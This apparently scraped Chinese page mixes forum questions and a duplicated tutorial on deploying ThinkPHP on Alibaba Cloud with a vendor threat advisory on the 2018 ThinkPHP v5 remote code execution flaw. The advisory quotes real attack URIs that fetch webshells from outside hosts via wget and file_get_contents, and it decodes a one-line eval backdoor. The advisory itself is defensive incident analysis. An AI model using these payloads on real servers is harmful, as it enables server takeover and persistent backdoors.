有没有高人 知道 阿里云虚拟主机 能不能部署 thinkphp5 的网站啊? 非常绝望
有没有高人 知道 阿里云虚拟主机 能不能部署 thinkphp5 的网站啊? 非常绝望,是不是 阿里云虚拟主机根本就不支持tp5啊?
威胁快报| ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。
此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面我们对其漏洞背景,攻击原理和行为进行全面分析,并提供真实案列分析。
漏洞分析
由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。
漏洞影响的版本
ThinkPHP v5.0系列 < 5.0.23
ThinkPHP v5.1系列 < 5.1.31
漏洞原理分析
通过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php
parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。
搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数
我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,所以可以直接构造命令注入的函数。
继续分析路由调度的代码app.php,通过'controller' 来执行控制器操作,实例化控制器,跟进controller方法
//thinkphp/library/think/Loader.php中,controller调用parseModuleAndClass方法,直接解析$name,实例化$class,当$name匹配 反斜线时直接将其作为方法和类 strpos($name, '\') ,我们可以在这里构造实例化我们想要调用的方法。实例化namespaceclass类并执行call_user_func_array方法。
漏洞复现:
我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令,可以拿到目录下的所有文件详情。
漏洞攻击真实案例
截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有很多,目前主要是以webshell为主,可能由于曝光PoC时间太短,很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后,比较流行的有以下几种:
1. 利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限。
其攻击URI详情如下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "
通过执行wget命令:wget -O help.php http://tzrj.host.smartgslb.com/help.php.txt,下载webshell。
下面是该webshell所具有的功能列表,如下图:
2. 利用file_get_contents和file_put_contents函数,远程下载webshell。
其攻击的URI详情如下:
"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));"
该webshell所具备的功能详细如下图:
3. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"
该命令行包含的base64加密字符串解码如下:
"<?php $pass=$_POST['360very'];eval($pass);?>"
该恶意代码将被写入到文件./vendor/autoclass.php中。
漏洞影响和攻击趋势
通过对网站信息数据的统计,我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免自己的网站被攻破,服务器沦陷为肉鸡。
下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。
安全建议
阿里云安全专家提醒:ThinkPHP的v5.0.23和v5.1.31为安全版本,建议大家尽快升级框架至最新版本来修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击,确保企业正常业务运行。
漏洞详情:https://blog.thinkphp.cn/869075
自己的thinkphp框架,怎么迁移到阿里云函数啊
自己的thinkphp框架,怎么迁移到阿里云函数啊
文件存贮在阿里云的OSS,网站部署在阿里云ECS上,PHP怎么实现多文件打包下载?
文件存贮在阿里云的OSS,网站部署在阿里云ECS上,PHP怎么实现多文件打包下载?网站架构Thinkphp网站部署在阿里云ECS文件单独存贮在阿里云的OSS上网站如何实现OSS上的多文件下载?有什么好的解决方案吗?
阿里云搭建ThinkPHP框架
ThinkPHP是一款免费、开源、快速、简单、面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷Web应用开发和简化企业应用开发而诞生的。本篇教程介绍如何使用云市场镜像快速搭建ThinkPHP框架。 适用对象 正在学习PHP或者已基于ThinkPHP框架进行研发的开发人员。 基本流程
购买ThinkPHP框架镜像。
上传您的程序。
切换PHP脚本适应您的程序。
开启pathinfo。
绑定域名。
购买ThinkPHP框架镜像
单击ThinkPHP框架(含智慧云虚机面板)进入镜像详情页。
单击立即购买,按提示步骤根据您的实际业务需求购买ECS实例。
登录ECS管理控制台。
在左侧导航栏,单击实例与镜像 > 实例,进入ECS实例列表页。
选择已购ECS实例所在的地域,并找到目标实例,在IP 地址列获取该实例的公网IP地址。
在浏览器地址栏中输入公网IP地址,屏幕上会显示提示页面。
在提示页面,单击获取权限,下载权限文档zhcloud-readme.doc。 权限文档中包含了智慧云虚机面板权限(host)、FTP权限和MySQL数据库权限,请妥善保存。
上传您的程序 如果您已经通过ThinkPHP框架完成了自己的应用程序,可以通过FTP上传您的程序。
下载FTP工具。本篇教程以FileZilla FTP为例。下载地址为https://www.filezilla.cn/download/client。
下载FileZilla后,双击filezilla.exe,开始按软件提示安装FileZilla FTP。
启动FileZilla FTP,在主机、用户名和密码处分别输入FTP IP地址、FTP账号和FTP密码。相关信息,请参见权限文档zhcloud-readme.doc。
单击快速连接,开始连接FTP。
将您已经写好的应用程序拉到右边区域即可实现上传。
切换PHP脚本适应您的程序 由于PHP的版本不同所支持的PHP函数也不尽相同。若您的程序对PHP版本有严格要求,您可以通过脚本切换来切换到您需要的PHP版本。若没有严格要求,可跳过此步骤。
登录智慧云虚机面板 。登录信息,请参见权限文档zhcloud-readme.doc。
host url:智慧云虚机面板的登录地址。
host account:智慧云虚机面板的登录账号。
host password:智慧云虚机面板的登录密码。
登录成功后,如下图所示。
单击脚本切换 ,选择您需要的PHP版本,单击确定 。
开启pathinfo 使用ThinkPHP框架写的程序一般会用到pathinfo。若您需要开启pathinfo,请按如下步骤操作。
登录智慧云虚机面板。
单击PATH_INFO , 选择您的站点,单击开启按钮。
绑定域名 如果您的实例公网IP地址已经完成了域名备案,您可以在智慧云虚机面板上绑定您的域名。
登录智慧云虚机面板。
单击域名绑定,输入您的域名即可绑定。 若您想禁止IP访问,删除含有IP地址的这条记录即可。
常见问题 301 重定向
登录智慧云虚机面板。
找到自定义伪静态 > 自定义,写入301重定向的Nginx规则,单击保存。 下面以域名yjcom.com为例写入301重定向Nginx规则。
方法 A:不使用www.yjcom.com域名访问网站时都301重定向到www.yjcom.com。 if ($host != ‘www.yjcom.com’ ) {rewrite ^/(.*)$ http://www.yjcom.com/$1 permanent;}
方法 B:使用yjcom.com域名访问网站时才301重定向到www.yjcom.com。 if ($host = ‘yjcom.com’ ) {rewrite ^/(.*)$ http://www.yjcom.com/$1 permanent;} 说明 实际使用时,将以上代码中的域名替换为您自己的域名。
云服务器ECS地址:阿里云·云小站
阿里云搭建ThinkPHP框架
ThinkPHP是一款免费、开源、快速、简单、面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷Web应用开发和简化企业应用开发而诞生的。本篇教程介绍如何使用云市场镜像快速搭建ThinkPHP框架。 适用对象 正在学习PHP或者已基于ThinkPHP框架进行研发的开发人员。 基本流程
购买ThinkPHP框架镜像。
上传您的程序。
切换PHP脚本适应您的程序。
开启pathinfo。
绑定域名。
购买ThinkPHP框架镜像
单击ThinkPHP框架(含智慧云虚机面板)进入镜像详情页。
单击立即购买,按提示步骤根据您的实际业务需求购买ECS实例。
登录ECS管理控制台。
在左侧导航栏,单击实例与镜像 > 实例,进入ECS实例列表页。
选择已购ECS实例所在的地域,并找到目标实例,在IP 地址列获取该实例的公网IP地址。
在浏览器地址栏中输入公网IP地址,屏幕上会显示提示页面。
在提示页面,单击获取权限,下载权限文档zhcloud-readme.doc。 权限文档中包含了智慧云虚机面板权限(host)、FTP权限和MySQL数据库权限,请妥善保存。
上传您的程序 如果您已经通过ThinkPHP框架完成了自己的应用程序,可以通过FTP上传您的程序。
下载FTP工具。本篇教程以FileZilla FTP为例。下载地址为https://www.filezilla.cn/download/client。
下载FileZilla后,双击filezilla.exe,开始按软件提示安装FileZilla FTP。
启动FileZilla FTP,在主机、用户名和密码处分别输入FTP IP地址、FTP账号和FTP密码。相关信息,请参见权限文档zhcloud-readme.doc。
单击快速连接,开始连接FTP。
将您已经写好的应用程序拉到右边区域即可实现上传。
切换PHP脚本适应您的程序 由于PHP的版本不同所支持的PHP函数也不尽相同。若您的程序对PHP版本有严格要求,您可以通过脚本切换来切换到您需要的PHP版本。若没有严格要求,可跳过此步骤。
登录智慧云虚机面板 。登录信息,请参见权限文档zhcloud-readme.doc。
host url:智慧云虚机面板的登录地址。
host account:智慧云虚机面板的登录账号。
host password:智慧云虚机面板的登录密码。
登录成功后,如下图所示。
单击脚本切换 ,选择您需要的PHP版本,单击确定 。
开启pathinfo 使用ThinkPHP框架写的程序一般会用到pathinfo。若您需要开启pathinfo,请按如下步骤操作。
登录智慧云虚机面板。
单击PATH_INFO , 选择您的站点,单击开启按钮。
绑定域名 如果您的实例公网IP地址已经完成了域名备案,您可以在智慧云虚机面板上绑定您的域名。
登录智慧云虚机面板。
单击域名绑定,输入您的域名即可绑定。 若您想禁止IP访问,删除含有IP地址的这条记录即可。
常见问题 301 重定向
登录智慧云虚机面板。
找到自定义伪静态 > 自定义,写入301重定向的Nginx规则,单击保存。 下面以域名yjcom.com为例写入301重定向Nginx规则。
方法 A:不使用www.yjcom.com域名访问网站时都301重定向到www.yjcom.com。 if ($host != ‘www.yjcom.com’ ) {rewrite ^/(.*)$ http://www.yjcom.com/$1 permanent;}
方法 B:使用yjcom.com域名访问网站时才301重定向到www.yjcom.com。 if ($host = ‘yjcom.com’ ) {rewrite ^/(.*)$ http://www.yjcom.com/$1 permanent;} 说明 实际使用时,将以上代码中的域名替换为您自己的域名。
云服务器ECS地址:阿里云·云小站
文件存贮在阿里云的OSS,PHP怎么实现多文件打包下载?
文件存贮在阿里云的OSS,网站部署在阿里云ECS上,PHP怎么实现多文件打包下载?
网站架构Thinkphp网站部署在阿里云ECS
文件单独存贮在阿里云的OSS上
网站如何实现OSS上的多文件下载?有什么好的解决方案吗?
thinkphp5.0写的项目上传到阿里云虚拟主机
[font='Century Gothic', 'Microsoft yahei']以前用thinkphp3.2写的一个小博客系统上传到阿里云虚拟主机没有问题现在用5.0有写了一个上传到虚拟主机后出现没有权限访问服务器。我想应该是入口文件的改变导致的问题,但是不知道怎么更改。求大神们解答。。。着急。
ThinkPHP在ACE上隐藏index.php的写法
阿里云官方帮助文档:https://help.aliyun.com/knowledge_detail/7596034.html?spm=5176.789091125.2.1.hxHknG
此文档给出的代码为:
5) ThinkPHP 常用规则, 实现 /index.php/aa/bb 优化成 /aa/bb , 记得要重启(不仅是重新发布)应用 (复制代码后注意格式对齐以及去掉多余空格, 否则会启动失败)
rewrite:
- url: \^(/(?\!(\.)).*)$
script: /index.php/$1 last
这样写,会导致ACE无法启动。经实践,应写为:
rewrite:
- url: ^/(.*)$
script: /index.php/$1 last
希望官方联系thinkphp官方提供驱动包
thinkphp官方七牛什么驱动都有 但是没有阿里云oss
自己集成老是不放心